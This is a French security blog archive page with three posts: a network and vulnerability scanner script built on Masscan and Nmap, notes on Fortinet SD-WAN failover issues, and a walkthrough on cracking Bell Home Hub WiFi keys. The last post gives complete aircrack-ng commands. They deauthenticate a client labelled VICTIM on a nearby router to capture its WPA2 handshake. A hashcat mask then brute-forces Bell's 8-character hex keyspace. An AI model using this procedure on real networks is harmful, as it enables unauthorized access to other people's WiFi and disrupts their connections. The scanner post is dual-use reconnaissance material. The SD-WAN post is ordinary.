Archives de la année: 2019

20 Fév

MassVulScan.sh, identifiez rapidement les ports ouverts sur votre réseau et les hosts vulnérables

Introduction

Il y a quelques temps, je cherchais le moyen d’identifier rapidement et efficacement tous les ports accessibles sur différents sites distants connectés à Internet (la quantité de hosts publics représentait un /24). Et je voulais m’assurer, par la même occasion, qu’il n’y avait aucun host qui exposait un service comportant des failles connues.

Jusqu’à présent j’utilisais indépendamment différents outils comme les classiques, mais efficaces, Masscan et Nmap pour obtenir ce que je voulais. Après traitement des résultats, j’exportais cela dans un fichier texte ou un bête fichier HTML. C’est plutôt fastidieux et le processus mal optimisé.

J’ai commencé à chercher un outil qui permettait d’identifier rapidement les ports ouverts et de ne scanner que les hosts ayant un ou plusieurs de ces ports ouverts (et que ceux-ci). Le tout en traitement parallèle afin de gagner du temps. Et pour finir, qu’un beau rapport soit généré, facilement exploitable. Mais n’ayant pas trouvé ce que je cherchais, j’ai décidé de le développer moi-même (en bash) et le voici ! MassVulScan.sh !

L’idée est de combiner la puissance du scanner Masscan pour trouver des ports ouverts, l’efficacité du scanner Nmap pour identifier les services ouverts et leur version, et enfin le script NSE vulners.nse pour identifier les vulnérabilités potentielles (CVE).

Pour accélérer la phase de reconnaissance de Masscan, une phase préalable de découverte permet d’identifier rapidement les hosts en ligne à scanner.

Une fois la phase de reconnaissance terminée, le fichier de sortie est traité afin de trier et rassembler tous ports à scanner par host. Ce qui permet d’optimiser les scans de Nmap. Il y aura autant de sessions Nmap qu’il y aura de hosts à scanner avec des ports ouverts (deux sessions différentes par host si des ports sont découverts avec TCP et UDP).

Pour finir, deux rapports seront générés, l’un concernant les hosts ayant de potentielles vulnérabilités et le second concernant l’exhaustivité des hosts ayant des un ou plusieurs ports ouverts.

Téléchargement et installation

Vous trouverez tous les détails sur Github pour l’installation : https://github.com/choupit0/MassVulScan

Certains pré-requis seront nécessaires pour son fonctionnement, dont voici la liste :

  • apt : build-essential git wget tar libpcre3-dev libssl-dev libpcap-dev net-tools locate xsltproc ipcalc dnsutils netcat
  • git : masscan (min v1.0.5) et vulners.nse
  • source : nmap (min v7.70)

Pour ceux qui utilisent un OS de la famille Debian, leur installation ou mise à jour sera automatique 🙂

Paramètres

  • -f | –include-file : fichier des hosts à scanner, IP ou nom d’hôtes (paramètre obligatoire)
  • -x | –exclude-file : fichier des hosts à exclure du scan
  • -i | –interactive : choix des ports à scanner, vitesse (Masscan) et script NSE
  • -c | –check : détection des hosts en ligne
  • -a | –all-ports : scan exhaustif de tous les ports (1-65535, TCP/UDP), à 2k paquets/seconde et script vulners.nse
  • -r | –report : conserver la liste des adresses IP ayant un ou plusieurs ports ouverts
  • -n| –no-nmap-scan : détecter uniquement les ports ouverts

Explications

Le seul paramètre obligatoire est le fichier en entrée (-f | –include-file) qui doit inclure la liste des hosts ou sous-réseaux à scanner. J’ai fait ce choix car dans mon cas, de nombreux sous-réseaux (privés ou publiques) sont scannés, c’est plus simple à gérer avec des commentaires pour chacun.

Par défaut, seuls les 1000 ports les plus populaires seront scannés à une vitesse maximum de 2500 paquets par minute (pour Masscan) avec le script vulners.nse.

Il est aussi possible d’exclure des hosts ou sous-réseaux (-x | –exclude-file), même format de fichier que le fichier en entrée.

A noter que le script est compatible avec des adresses IP ou des noms d’hôtes.

Un autre paramètre peut être ajouté (-c | –check) si l’on souhaite au préalable identifier les hosts qui sont en ligne avant de lancer la phase d’identification des ports ouverts avec Masscan. Cela peut être un gain de temps considérable pour Masscan.

Une autre option disponible (-a | –all-ports) permet d’indiquer au script de scanner la totalité des ports de 1 à 65535 pour les protocoles TCP et UDP à une vitesse maximum de 2000 paquets par minute (pour Masscan). Attention, sur certains réseaux cela peut être trop élevé, passez par le mode interactif dans ce cas (ci-dessous). En effet, il peut y avoir des perturbations et vous risqueriez de perdre le contrôle… je vous suggère d’utiliser la commande « timeout » si vous n’êtes pas sûr de vous au début, c’est bien pratique.

Un autre paramètre est le mode interactif (-i | –interactive) qui vous permet de choisir la liste des ports à scanner ainsi que la vitesse de scan de Masscan et le script NSE (nmap) à utiliser.

Fonctionnement et particularités

Interfaces réseaux

J’ai commencé récemment à m’amuser sur le site de pen-testing https://www.hackthebox.eu, j’ai ainsi eu l’occasion de tester mon script et de l’améliorer pour le coup.

Il faut savoir que pour accéder aux différents labs, un VPN est monté avec OpenVPN. Dans mon cas, une nouvelle interface « tun0 » est créée avec une IPv4 dans le subnet 10.10.14.0/23, ainsi qu’une route pour atteindre les différents serveurs virtuels (10.10.10.0/24 via 10.10.14.1).

Le problème c’est que Masscan, qui est appelé au début du script, n’utilisera par défaut que l’interface qui possède la route par défaut, en l’occurrence celle d’Internet (« eth0 » par exemple)… du coup impossible de scanner les serveurs.

Le script détectera donc si plusieurs interfaces réseaux existent et vous demandera de sélectionner celle à utiliser pour atteindre les hosts. Pas de problèmes pour Nmap qui gère cela correctement : le scan d’un côté pour identifier les services (interface « tun0 ») et la récupération des CVE associées via une API chez https://vulners.com (interface « eth0 »).

Masscan -> Nmap, passage de relais

Dans un soucis d’efficacité, le script rassemblera tous les ports identifiés comme ouvert par host. C’est à dire qu’une fois que Masscan aura identifié tous les ports ouverts, le script fera un tri pour que Nmap puisse lancer la reconnaissance de services uniquement sur les ports ouverts. Exemple de fichier intermédiaire trié et préparé pour Nmap :

Fichiers d’entrées TCP et UDP pour Nmap

Nmap, plus rapide avec le parallélisme

Toujours dans un soucis de performance, le script lance autant d’instances Nmap qu’il y a de hosts à scanner, elle fonctionnent toutes en parallèles :

Lancement des scans Nmap

Ce qui fait que le temps maximum d’exécution de Nmap dépendra donc uniquement du scan qui aura pris le plus de temps, et non du temps total des scans Nmap si nous étions en mode « série » (à la queue leu-leu).

Il y a une gestion de queue avec une limite de 50 scans en parallèles maximum (variable à changer si besoin). Dès qu’un scan est terminé, un autre prend le relais.

Identification des CVE avec vulners.com

Pour l’identification des CVE, le script s’appuie donc sur le site de https://vulners.com via une API. Il en existe d’autres mais c’est le plus fiable que j’ai trouvé. De plus, il trie directement les CVE par ordre de criticité, ce qui est bien pratique :

Exemple de vulnérabilités identifiées et triées pour un host donné sur le port SMB/SAMBA

Le site fait un gros travail pour fournir des données les plus à jour possibles.

Rapports

Si après analyse des hosts ont été détectés comme « potentiellement » vulnérables, un fichier au format TXT sera généré comportant uniquement ceux-ci. Cela permet de se concentrer dessus (avec tentative de résolution reverse DNS) :

Rapport sur les hosts vulnérables

Ensuite, un second fichier au format HTML sera cette fois généré comportant l’exhaustivité des hosts identifiés avec des ports ouverts. Pour ce dernier, j’utilise l’excellent template Nmap XSL avec bootstrap « nmap-bootstrap.xsl » qui produit de beaux rapports et qui surtout permet de filtrer et trier nos résultats :

Rapport Nmap avec le template « nmap-bootstrap.xsl » sur les hosts ayant des ports ouverts

Performance

Pour évoquer la performance du script, un dessin vaut mieux qu’un long discours. Ci-dessous une capture d’écran du déroulement complet d’un scan dont voici les caractéristiques :

  • 235 hosts scannés
  • concernant 131068 ports (65534 ports tcp + 65534 ports udp)
  • à raison d’une cadence de 2500 paquets par seconde (Masscan)
  • puis 82 scans Nmap lancés en parallèles pour détecter les services actifs et vulnérabilités éventuelles
  • concernant 236 ports ouverts
  • et enfin génération des rapports
Seulement 03h30 pour scanner 235 hosts sur 131068 ports…

Il est toujours possible d’améliorer encore la vitesse d’execution du script en augmentant le nombre de paquets par seconde de Masscan, tout dépend de la qualité de vos liens Internet et de votre réseau interne.

Mais attention à ne pas perturber votre infrastructure, changez la valeur graduellement.

Mot de la fin

Voilà, j’espère que cet article vous donnera envie de tester mon script.

J’apporte régulièrement de nouvelles fonctions et cherche à l’optimiser constamment, je suis ouvert aux critiques et propositions d’amélioration.

Dernière chose, mon anglais n’est pas parfait, soyez indulgent ! (je parle du script).

Merci de m’avoir lu jusqu’au bout, j’attends vos commentaires maintenant 😉

16 Jan

Notes sur la technologie SD-WAN de Fortinet

Introduction

Je viens de passer plusieurs jours à tester la technologie SD-WAN de Fortinet sur des Fortigate (90D et 101E, FortiOS 6.0.3) à travers différents LAB/scénarii. Je dois dire que je suis assez bluffé dans l’ensemble.

Une fois que l’on comprend la logique/philosophie, on se retrouve finalement avec moins de règles de filtrage à gérer et qu’une seule route par défaut quasiment. Il devient alors possible de s’affranchir d’utiliser un protocole de routage dynamique type OSPF, de réduire le temps de bascule en cas de défaillance d’un lien et de gérer finement les flux applicatifs.

J’ai tout de même rencontré quelques soucis lors de la mise en oeuvre que je voulais partager avec vous dans ce billet…

Les stratégies SLA et leur application avec SD-WAN

L’une des forces de cette dernière version du FortiOS 6.0 est la gestion intelligente des liens en s’appuyant sur des SLA que l’on peut combiner : RTT, Jitter et nombre de paquets perdus etc…

On peut également choisir, voire définir, la stratégie à appliquer sur notre flux :

« Best Quality » sera plutôt utilisée pour les services de type VoIP, Fortigate utilisera toujours le lien avec les meilleurs exigences en matière de SLA, quel que soit le coût de la liaison. On recherche les meilleures performances pour les applications critiques.

On peut ainsi définir le critère de qualité principal à retenir voire de créer un profile spécifique avec nos critères :

On peut également privilégier un lien pour l’upload et/ou le download.

« Minimum Quality (SLA) » servira pour le reste du trafic, où l’on considérera aussi bien le SLA que le coût du lien. A noter qu’ici l’ordre de priorité des interfaces à son importance, si toutes les interfaces répondent aux critères de SLA, Fortigate utilisera le premier lien, même si ce n’est pas le meilleur.

Un exemple ici avec 2 liens VPN IPSec : J’ai simulé un lien dit « public » qui passe par Internet avec un RTT moyen de ~20ms et un second lien dit « privé » avec un RTT inférieur à <1ms

Dans ma stratégie j’ai volontairement choisi le lien avec le moins bon RTT en premier :

A noter qu’il faut (souvent) se méfier de l’affichage via le GUI, il pourrait ne pas être représentatif de ce que l’on veut. Il est préférable de vérifier le résultat via CLI :

Ensuite, un simple ping vers la Loopback du Fortigate distant nous confirme le lien utilisé :

Mon LAB de test

Parmi les différents tests réalisés, j’ai retenu ce LAB. C’est le cas le plus simple où on a 2 sites reliés ensemble par 2 liaisons :

Chaque site possède son propre accès Internet. Ces sites sont reliés entre aux par 2 VPN IPSec :

  • Un VPN établi via les liens « publics » ISP 1 et ISP 2 d’une latence de ~20ms
  • Un VPN établi via les liens « privés » 172.[1-2].10.0/30 d’une latence de ~1ms

La configuration des Fortigate est symétrique au niveau des règles de firewall et SLA de telle sorte que chacun des sites puisse joindre le second et accéder à Internet:

  • 3 interfaces (VPN x2 + Interface WAN) dans le SD-WAN, avec comme route par défaut, la liaison SD-WAN justement
  • 2 règles SLA pour gérer la performance :
    • L’une vers Internet avec comme serveur cible le DNS Google 8.8.8.8 comprenant les 2 interfaces WAN (pas très utile car nous avons qu’un seul lien Internet mais c’est pour la forme)
    • Et la seconde vers la loopback du site distant, comprenant les 2 VPN IPSec
  • 2 règles SD-WAN de type « Minimum Quality » :
    • L’une pour l’accès Internet, comprenant nos interfaces WAN, utilisant notre première règle SLA
    • La seconde pour atteindre le PC distant, comprenant nos VPN, utilisant notre seconde règle SLA

Pour la seconde règle SD-WAN j’ai volontairement mis en premier le lien public avec une latence 25ms car je voulais observer le comportement des Fortigate lors du basculement des liens. Il suffisait de « secouer » le lien Internet pendant quelques secondes pour forcer la bascule sur le lien privé, j’utilisais pour cela le site de Netflix qui mesure la bande passante : https://fast.com/fr/

Pour permettre l’établissement du VPN sur le lien privé, j’ai du ajouter une route statique de part et d’autre afin de pouvoir atteindre chacun des subnets. Par exemple sur le site 1 :

La route par défaut de chacun des laptop est le Fortigate auquel il est relié.

Dernier détail qui aura son importance dans le point suivant, je n’utilise que le VDOM « root ».

Problèmes rencontrés et solutions

Déconnexion SSH et timeout HTTP(S)

Durant mes tests je perdais régulièrement la connexion vers le Fortigate distant. Par exemple, depuis le laptop 172.16.10.100 je me connectais sur la loopback du Fortigate du site 1 (10.66.255.1) et je perdais la connexion d’un coup. De même que la connexion HTTPS sur le Fortigate figeait puis revenait. J’ai ensuite essayé sur l’interface d’interconnexion du Fortigate (172.1.10.1), même chose, ainsi que sur l’interface publique.

Par contre, je ne perdais pas les connexions entre les 2 laptops. J’étais par exemple connecté via Remote Desktop (RDP) sur le laptop du site 1 (192.168.1.100), toujours depuis l’autre laptop et je ne constatais aucune déconnexion ou timeout…

Je me suis en fait aperçu, qu’à chaque fois que l’un des Fortigate changeait la route pour atteindre le site distant, je perdais la connexion… j’ai fait le parallèle en lançant un ping en continue entre les 2 laptop, comme ici où l’on passe du lien public au lien privé :

N’ayant pas de solution à ce problème dans l’immédiat, j’ai contacté le support Fortinet. Le support m’indique qu’il s’agit tout simplement d’une sécurité, car une session établie par une interface (Ex. liaison « publique »), ne peut ensuite se retrouver sur une autre (Ex. liaison « privée »)…Et ce problème ne concerne que les connexions faites sur le Fortigate, cela ne concerne pas les autres flux qui le traversent.

Ok mais cela ne m’arrange pas ça ! En effet, j’administre des Fortigate un peu partout dans le monde, notamment en Afrique où nous utilisons différentes liaisons satellites qui sont sensibles au mauvais temps et dont les performances sont aléatoires (latence, jitter…). Je ne me vois pas en production avec ce genre de comportement…Et surtout ce phénomène se produit systématiquement dès que l’on modifie quelque chose au niveau des fonctionnalités SD-WAN…

Et bien-sur le support n’a pas de solution à cela ! Enfin si, il me propose :

  1. Demander à mon commercial de faire une demande de développement d’une fonction par Fortinet pour gérer ce cas
    1. Mais bien-sur…et la marmotte…
  2. De permettre le routage asymétrique (désactiver la fonction « asymmetric check routing »)
    1. super pour la sécurité, les règles de firewall ainsi que les fonctions UTM ne sont plus utilisées…on se retrouve juste avec un simple routeur

J’ai finalement trouvé une solution : mettre les interfaces SD-WAN dans un VDOM à part (Ex. SD-WAN) et laisser l’interface loopback dans le VDOM « root »

C’est tout bête, il suffit ensuite de créer un VDOM Link et d’ajouter une route statique, comme ici sur le Fortigate du site 1 :

VDOM « SD-WAN » :

VDOM « root » :

Pour finir, on crée les règles de firewall et le tour est joué :

VDOM « SD-WAN » :

VDOM « root » :

Comme cela, même si l’interface utilisée change (publique vs privée), le Fortigate utilisera toujours cette unique interconnexion des VDOM pour atteindre la loopback.

Routage asymétrique

On parle de routage asymétrique lorsqu’un paquet n’emprunte pas le même chemin à l’aller et au retour.

J’ai également pu constater ce phénomène avec un simple ping et traceroute entre les 2 laptops :

Dans le même temps j’ai comparé comment se comportait ma session RDP vers le laptop du site 2, 172.16.10.100 :

Là le routage est symétrique, cela me rassure « un peu » plus. En effet, seul le protocole ICMP semble concerné par ce phénomène (le commande tracert windows utilise ce protocole également). Au niveau TCP/UDP avec RDP, c’est à la source qu’est « décidé » sur quel lien la session doit transiter aller/retour, dans notre cas c’est le Fortigate du site 1 avec le lien « public ».

Si j’ai bien constaté que la session se baladait d’un lien à l’autre, à aucun moment je n’ai vu les 2 liens utilisés en même temps pour les connexions TCP/UDP RDP, contrairement à ICMP.

Ce qui me dérange par contre, c’est pour les outils de supervision. Et oui, on utilise souvent le ping pour surveiller qu’un host distant est Up et surveiller la latence. Du coup, avec ce type de comportement le résultat risque d’être biaisé.

Rien de grave mais il faut avoir cela en tête. Et puis je pousse le vis en choisissant volontairement le lien le plus mauvais en premier avec des critères proches des limites du lien.

Et dernière chose, dans ce cas si il s’agit du même Fortigate qui a déjà connaissance d’une session dans sa table. Le routage asymétrique se produit surtout lorsque deux firewall distincts sont traversés, et le flux se trouve bloqué par sécurité.

05 Jan

Home HUB Router (2000/3000) de Bell – Faiblesse des clés WIFI

Introduction

Après quelques recherches je me suis aperçu que mon fournisseur d’accès Bell utilisait, semble-t-il, toujours le même jeu de caractères pour définir la clé WIFI et toujours de la même longueur. C’est d’ailleurs indiqué sur leur site : https://soutien.bell.ca/services-internet/aide-connexion/que-signifient-ssid-et-wpa2

Longueur de la clé : 8

Parmi 16 caractères possibles : A B C D E F 0 1 2 3 4 5 6 7 8 9

Ça c’est en observant les clés des différentes versions des routeurs que j’ai eu (HH2000, HH3000…), des connexions WIFI mises à disposition dans certains lieux (chez le dentiste, dans mon immeuble…) et en glanant des informations sur les forums. Mais j’ai un doute sur le chiffre « 0 », car je ne suis même pas certain qu’il soit réellement utilisé, pour ne pas embrouiller le client j’imagine (la lettre « O » avec le chiffre « 0 »). Je dis ça car je ne l’ai jamais vu, mais bon dans le doute, on le garde.

Nombre de possibilités : 16^8

Et oui le calcul est on ne peut plus simple, le nombre de combinaisons possibles est : 4 294 967 296

Cela semble énorme comme nombre à première vue mais attendez la suite… j’ai voulu voir combien de temps cela prenait d’essayer de récupérer la clé avec une attaque par brute-force et ainsi valider ma théorie sur cette liste de caractères.

Matériels et logiciels utilisés

Matériels

J’utilise un portable qui possède notamment une carte graphique dédiée Nvidia GeForce GTX 1050 (4G, GDDR5). Ce n’est pas une carte dernier cri mais suffisamment puissante pour mes besoins, elle consomme peu d’énergie et elle est encore plutôt bien notée : https://www.notebookcheck.net/NVIDIA-GeForce-GTX-1050-Notebook.178614.0.html

Pour la partie WIFI j’ai acheté une antenne externe USB avec le chipset Atheros AR9271, à savoir l’adaptateur Alpha AWUS036NHA. C’est un bon rapport qualité/prix, par contre il n’est compatible qu’avec les fréquences 2.4GHz (cela vient du chipset). Ses caractéristiques ici : https://wikidevi.com/files/datasheets/alfa_network/AWUS036NHA.pdf

J’ai choisi cet adaptateur car il supporte l’injection de paquets (monitor mode) et peut se transformer en point d’accès au besoin (master mode).

Logiciels

J’ai utilisé VMware Workstation player avec une VM Kali (Kali-Linux-2018.4-vm-amd64) pour la partie OS. Elle reconnait de suite l’adaptateur WIFI USB. On peut télécharger la VM ici. Ensuite, j’ai pris la suite aircrack-ng pour capturer le trafic voulu. D’autres outils existent comme Wifite qui font cela automatiquement mais je voulais décortiquer les différentes étapes.

Pour cracker la clé WIFI j’ai utilisé la version Windows de l’application Hashcat (hashcat-5.1.0) disponible là. Afin d’avoir des performances optimales avec ma carte graphique.

Capture réseau

Une fois la VM lancée et la session Kali ouverte, il me suffit de connecter mon adaptateur WIFI USB (clic droit sur le dessin d’un petit dongle USB en haut à droite et « connect »).

Avant toute chose, il est préférable de changer temporairement son adresse MAC, pour cela on ouvre le terminal :

# On vérifie le nom de notre interface, ici "wlan0"
root@appareil-inconnu:~# ip link
7: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DORMANT group default qlen 1000
    link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff

# On tue les processes qui pourraient perturber l'attaque
root@appareil-inconnu:~# airmon-ng check kill

Killing these processes:

  PID Name
  803 wpa_supplicant

# On active la carte en mode injection de paquets
# Le nom de l'interface passe de "wlan0" à "wlan0mon"
root@appareil-inconnu:~# airmon-ng start wlan0

PHY	Interface	Driver		Chipset
phy2	wlan0		ath9k_htc	Atheros Communications, Inc. AR9271 802.11n
		(mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)
		(mac80211 station mode vif disabled for [phy2]wlan0)

# On arrête l'interface wlan0mon
root@appareil-inconnu:~# ifconfig wlan0mon down

# On change son adresse MAC (mode random)
# Nouvelle MAC : 6a:ac:c3:a9:2c:71
root@appareil-inconnu:~# macchanger -r wlan0mon
Current MAC:   XX:XX:XX:XX:XX:XX (ALFA, INC.)
Permanent MAC: XX:XX:XX:XX:XX:XX (ALFA, INC.)
New MAC:       6a:ac:c3:a9:2c:71 (unknown)

# On ré-active l'interface
root@appareil-inconnu:~# ifconfig wlan0mon up

# On vérifie que l'adresse MAC est bien la nouvelle, c'est le cas
root@appareil-inconnu:~# ip link
10: wlan0mon: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN mode DEFAULT group default qlen 1000
    link/ieee802.11/radiotap 6a:ac:c3:a9:2c:71 brd ff:ff:ff:ff:ff:ff

Nous allons maintenant pouvoir identifier les routeurs Bell aux alentours, pour cela une seule commande (je masque volontairement les SSID et adresses MAC 🙂 ) :

root@appareil-inconnu:~# airodump-ng wlan0mon --essid-regex ^BELL

 CH  5 ][ Elapsed: 6 s ][ 2018-01-26 14:35 ]                                        
                                                                                                                                      
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                      
 XX:XX:XX:XX:XX:XX  -78        1        0    0  10  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -72        3        0    0  10  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -44        3        0    0  11  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -63        5        0    0   1  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -69        4        0    0   1  195  WPA2 CCMP   PSK  BELLXXX                                                     
                                                                                                                                       
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                             
                                                                                                                                      
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -48    0 - 1e     0        1  VICTIM                                                                  
 (not associated)   XX:XX:XX:XX:XX:XX  -77    0 - 1      1        3  TV_VIZIO

Rapidement on obtient une liste d’équipements, on notera d’ailleurs qu’ils sont tous sur le même schéma au niveau du SSID avec « BELL » suivi de 3 chiffres. Ce qui limite le nombre d’appareils à 1000 en comptant le 0 (on a aussi cette information en haut de l’article sur la première image). Ça me parait peu mais bon, passons.

Pour notre exemple, je vais choisir le 3ème routeur en partant du haut, celui que l’on capte le mieux qui est sur le canal 11 et surtout on voit plus bas qu’un client semble actif (VICTIM). En effet, pour mener à bien notre attaque, nous devons avoir de l’activité avec un client.

Et oui, l’une des options que l’on a pour retrouver la clé déchiffrée est de capturer au préalable ce que l’on appelle le « 4-Way Handshake » (poignée de main à 4 voies). Quelques explications claires ici : https://www.cleartosend.net/understanding-4-way-handshake/

Pour cela, nous avons notamment deux options : attendre qu’un client se connecte ou bien forcer un client déjà connecté à se reconnecter. Dans les deux cas nous serons en mesure de capturer le Handshake. Ici nous serons dans le 2ème cas.

Voici les commandes à utiliser pour provoquer et capturer le Handshake, il faudra ouvrir deux terminaux. Commande à lancer dans le premier terminal :

# On filtre sur notre victime avec le BSSID (adresse MAC du routeur) et le canal
# Et on sauvegarde les données dans un fichier au nom du ESSID
root@appareil-inconnu:~# airodump-ng -c 11 --bssid XX:XX:XX:XX:XX:XX -w /root/BELLXXX wlan0mon

 CH 11 ][ Elapsed: 24 s ][ 2018-01-26 14:40 ]                
                                                                                                
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                
 XX:XX:XX:XX:XX:XX  -62 100      149      250   35  11  195  WPA2 CCMP   PSK  BELL005           
                                                                                                
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                      
                                                                                                
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -60    0 -24      0        4                              
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -69    0 - 1e     1       14

Dans un second terminal on force l’un des clients actifs à se reconnecter :

# On lance deux fois une commande qui va forcer le client à se déconnecter de l'Acces Point
# On cible pour cela le client avec son adresse MAC, -a avec le BSSID (le routeur cible) et -c pour l'adresse MAC du client
oot@appareil-inconnu:~# aireplay-ng -0 2 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX wlan0mon
14:42:16  Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 11
14:42:16  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 2|62 ACKs]
14:42:17  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 7|73 ACKs]

Cela revient à priver la victime de son accès Internet pendant quelques secondes (un mini « DOS » en quelque sorte) mais le client se reconnectera automatiquement, ce sera quasiment transparent pour notre victime.

On revient dans notre premier terminal et bout de quelques secondes on verra apparaître en haut à droite « WPA handshake« , c’est gagné :

 CH 11 ][ Elapsed: 24 s ][ 2018-01-26 14:42 ][ WPA handshake: XX:XX:XX:XX:XX:XX                 
                                                                                                
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                
 XX:XX:XX:XX:XX:XX  -65 100      209      250   35  11  195  WPA2 CCMP   PSK  BELL005           
                                                                                                
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                      
                                                                                                
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -63    0 -24     50        130                              
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -70    0 - 1e     1       14

On arrête la commande du 1er terminal (CTRL + C) et vous verrez plusieurs fichiers créés dans le répertoire « /root », celui ou ceux qui nous intéressent pour la suite de l’attaque se terminent par « *.cap », ils contiennent le Handshake :

root@appareil-inconnu:~# ll -lt | grep BELLXXX
-rw-r--r-- 1 root root  213545 Jan 26 14:42 BELLXXX-02.cap
-rw-r--r-- 1 root root     861 Jan 26 14:42 BELLXXX-02.csv
-rw-r--r-- 1 root root     590 Jan 26 14:42 BELLXXX-02.kismet.csv
-rw-r--r-- 1 root root    6995 Jan 26 14:42 BELLXXX-02.kismet.netxml
-rw-r--r-- 1 root root   68676 Jan 26 14:42 BELLXXX-02.log.csv
-rw-r--r-- 1 root root   50776 Jan 26 14:41 BELLXXX-01.cap
-rw-r--r-- 1 root root     861 Jan 26 14:41 BELLXXX-01.csv
-rw-r--r-- 1 root root     586 Jan 26 14:41 BELLXXX-01.kismet.csv
-rw-r--r-- 1 root root    6993 Jan 26 14:41 BELLXXX-01.kismet.netxml
-rw-r--r-- 1 root root   45250 Jan 26 14:41 BELLXXX-01.log.csv

Il suffit ensuite de convertir notre fichier « *.cap » dans un format compatible avec l’application Hashcat que l’on utilisera dans la section suivante. Ce dernier propose pour cela un outil de conversion « cap2hccapx.bin » :

# Toujours depuis le répertoire "/root" on lance la commande de conversion
# Elle est présente par défaut dans Kali
root@appareil-inconnu:~# /usr/lib/hashcat-utils/cap2hccapx.bin ./BELLXXX-02.cap ./BELLXXX.hccap
Networks detected: 1

[*] BSSID=XX:XX:XX:XX:XX:XX ESSID=BELLXXX (Length: 7)
 --> STA=XX:XX:XX:XX:XX:XX, Message Pair=0, Replay Counter=1
 --> STA=XX:XX:XX:XX:XX:XX, Message Pair=2, Replay Counter=1

Written 2 WPA Handshakes to: ./BELLXXX.hccap

On se retrouve donc avec un nouveau fichier « BELLXXX.hccap » contenant plusieurs Handshake.

Il sera peut-être nécessaire d’essayer avec les différents fichiers « *.cap », certains ne contiendront pas le Handshake, et vous aurez ce message :

Written 0 WPA Handshakes to: ./BELLXXX.hccap

Passons à la suite.

Récupération de la clé WIFI

La phase de récupération de la clé WIFI se fera « offline », il n’y aura plus d’interactions avec notre victime.

J’ai donc utilisé l’application Hashcat pour Windows, dont vous trouverez le binaire sur le site de l’éditeur ici : https://hashcat.net/hashcat/

Une fois l’archive décompressée, il suffit d’ouvrir une fenêtre DOS, de se rendre dans le répertoire du binaire où l’on aura déposé au préalable le fichier précédemment créé.

On lance ensuite la commande « magique » qui permet de faire une brute-force en testant toutes les combinaisons possibles des 16 caractères pour une longueur de 8 :

C:\Users\admin\Downloads\hashcat-5.1.0>hashcat64.exe -m 2500 -a3 bellXXX.hccap -1 ?dABCDEF ?1?1?1?1?1?1?1?1 -d 3 -w 3
hashcat (v5.1.0) starting...

* Device #1: Intel's OpenCL runtime (GPU only) is currently broken.
             We are waiting for updated OpenCL drivers from Intel.
             You can use --force to override, but do not report related errors.
* Device #3: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) UHD Graphics 630, skipped.
* Device #2: Intel(R) Core(TM) i5-8300H CPU @ 2.30GHz, skipped.

OpenCL Platform #2: NVIDIA Corporation
======================================
* Device #3: GeForce GTX 1050, 1024/4096 MB allocatable, 5MCU

Hashes: 2 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>

Explications des options utilisées avec cette commande :

  • hashcat64.exe = version 64 bits de l’application
  • -m 2500 = type de Hash que l’on cherche à craquer, ici WPA-EAPOL-PBKDF2
  • -a3 = mode d’attaque, ici Brute-force
  • bellXXX.hccap = notre fichier contenant le Handshake
  • -1 = jeu de caractères personnalisé
  • ?dABCDEF = notre jeu de caractère c-à-d « d » pour 0123456789 et plus ABCDEF
  • ?1?1?1?1?1?1?1?1 = longueur de notre clé WIFI que l’on cherche, à savoir 8 caractères
  • -d 3 = carte graphique que l’on veut utiliser et/ou CPU
  • -w 3 = profil de travail de la carte graphique, cela correspond au niveau « High », niveau 3 sur 4 afin de gagner quelques hashrate sans non plus solliciter celle-ci à fond

En appuyant sur la touche « s » on obtient tout un tas d’informations, notamment le temps estimé maximal pour tester toutes combinaisons et la vitesse de traitement qui s’exprime en Hashrate par seconde :

Session..........: hashcat
Status...........: Running
Hash.Type........: WPA-EAPOL-PBKDF2
Hash.Target......: BELLXXX (AP:XX:XX:XX:XX:XX:XX STA:XX:XX:XX:XX:XX:XX)
Time.Started.....: Fri Jan 26 16:02:07 2018 (3 secs)
Time.Estimated...: Sat Jan 27 04:13:14 2018 (12 hours, 11 mins)
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 ?dABCDEF, -2 Undefined, -3 Undefined, -4 Undefined
